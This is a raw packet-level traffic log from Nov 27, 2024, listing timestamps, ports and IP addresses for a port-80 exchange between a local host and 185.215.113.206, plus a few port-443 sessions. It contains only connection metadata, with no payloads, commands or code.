Nov 27, 2024 17:58:55.791456938 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.792253017 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.792292118 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.792329073 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.793138027 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.793180943 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.793287992 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.793327093 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.794034004 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.794073105 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.794105053 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.794148922 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.794981956 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.795023918 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.795082092 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.795129061 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.795914888 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.795973063 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.795986891 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.796030045 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.796852112 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.796906948 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.796979904 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.797070980 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.797703028 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.797755957 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.797816038 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.797957897 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.798623085 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.798671007 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.798767090 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.798810005 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.799571037 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.799627066 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.799635887 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.799853086 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.800436020 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.800479889 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.800638914 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.800698042 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.801225901 CET	443	49874	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:55.801289082 CET	443	49874	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:55.801354885 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.801408052 CET	49874	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:55.801418066 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.801445961 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.801470041 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.802323103 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.802403927 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.802449942 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.803152084 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.803284883 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.803364038 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.803462029 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.804088116 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.804136038 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.804303885 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.804347992 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.805042982 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.805063009 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.805104017 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.805886030 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.805941105 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.805947065 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.805989027 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.806833029 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.806920052 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.806946039 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.807029963 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.807729959 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.807797909 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.807809114 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.807849884 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.808609962 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.808657885 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.808703899 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.808742046 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.809516907 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.809560061 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.809567928 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.809602022 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.810513973 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.810579062 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.810724974 CET	49874	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:55.810724974 CET	49874	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:55.810746908 CET	443	49874	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:55.810756922 CET	443	49874	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:55.810976028 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.811024904 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.811378002 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.811422110 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.811469078 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.811508894 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.814615965 CET	49896	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:55.814656019 CET	443	49896	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:55.814840078 CET	49896	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:55.815148115 CET	49896	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:55.815162897 CET	443	49896	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:55.842087984 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.842135906 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.842149019 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.842159986 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.842274904 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.842305899 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.842305899 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.842322111 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.842864037 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.842936039 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.976815939 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.976881027 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.976980925 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.977025986 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.977163076 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.977221966 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.977248907 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.977294922 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.977813005 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.977860928 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.977988005 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.978157043 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.978640079 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.978688955 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.978765965 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.978842974 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.979502916 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.979552984 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.979617119 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.979662895 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.980386972 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.980432987 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.980472088 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.980506897 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.981223106 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.981272936 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.981304884 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.981426954 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.982011080 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.982063055 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.982124090 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.982168913 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.982959986 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.983009100 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.983020067 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.983139038 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.983781099 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.983841896 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.983900070 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.983978033 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.984668970 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.984741926 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.984977961 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.985044003 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.985410929 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.985490084 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.985539913 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.986248016 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.986306906 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.986527920 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.986583948 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.987080097 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.987132072 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.987238884 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.987287045 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.987921000 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.988044977 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.988256931 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.988780975 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.988812923 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.988837004 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.988877058 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.989607096 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.989675045 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.989697933 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.989741087 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.990475893 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.990528107 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.990542889 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.990571976 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.991285086 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.991328001 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.043436050 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.165966988 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.336798906 CET	443	49875	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:56.337605953 CET	49875	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:56.337642908 CET	443	49875	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:56.338915110 CET	443	49875	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:56.339350939 CET	49875	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:56.339539051 CET	443	49875	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:56.339663029 CET	49875	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:56.380098104 CET	49875	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:56.380125046 CET	443	49875	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:56.502331972 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.502423048 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.502440929 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.502661943 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.502702951 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.502933979 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.503303051 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.503349066 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.503437996 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.504112005 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.504159927 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.504174948 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.504968882 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.505027056 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.505033016 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.505858898 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.506045103 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.506095886 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.506639957 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.506663084 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.506709099 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.507450104 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.507523060 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.507574081 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.508349895 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.508589029 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.509191990 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.509252071 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.509390116 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.510138988 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.510190010 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.510270119 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.510966063 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.511014938 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.511096001 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.511146069 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.511735916 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.511784077 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.511806011 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.512523890 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.512559891 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.512583971 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.512624025 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.513351917 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.513405085 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.513461113 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.514144897 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.514200926 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.514245033 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.515014887 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.515064001 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.515074015 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.515887976 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.515949011 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.515978098 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.516710043 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.516755104 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.516766071 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.517060041 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.517539024 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.517635107 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.517683983 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.518388033 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.518484116 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.518537998 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.519243956 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.519356012 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.519407034 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.520067930 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.520133972 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.520917892 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.520975113 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.521034956 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.521780014 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.521832943 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.521982908 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.522608995 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.522641897 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.522666931 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.522679090 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.523519993 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.523588896 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.523654938 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.524285078 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.524296999 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.524344921 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.525182962 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.525223017 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.525230885 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.525321007 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.526020050 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.526060104 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.526062965 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.526139021 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.526892900 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.526943922 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.527015924 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.527693033 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.527745008 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.528036118 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.528554916 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.528599977 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.528656960 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.529061079 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.529345989 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.529436111 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.529489994 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.530230045 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.530299902 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.530344963 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.531071901 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.531147003 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.531197071 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.531887054 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.531982899 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.532031059 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.532824993 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.532905102 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.532960892 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.533575058 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.533641100 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.533665895 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.534141064 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.534538984 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.534617901 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.534703016 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.534817934 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.535269022 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.535360098 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.535362959 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.535464048 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.536112070 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.536166906 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.536247015 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.536936998 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.536994934 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.537028074 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.537779093 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.537833929 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.537902117 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.538628101 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.538682938 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.538742065 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.539486885 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.539540052 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.539563894 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.540354967 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.540401936 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.540549040 CET	80	49850	185.215.113.206	192.168.2.7
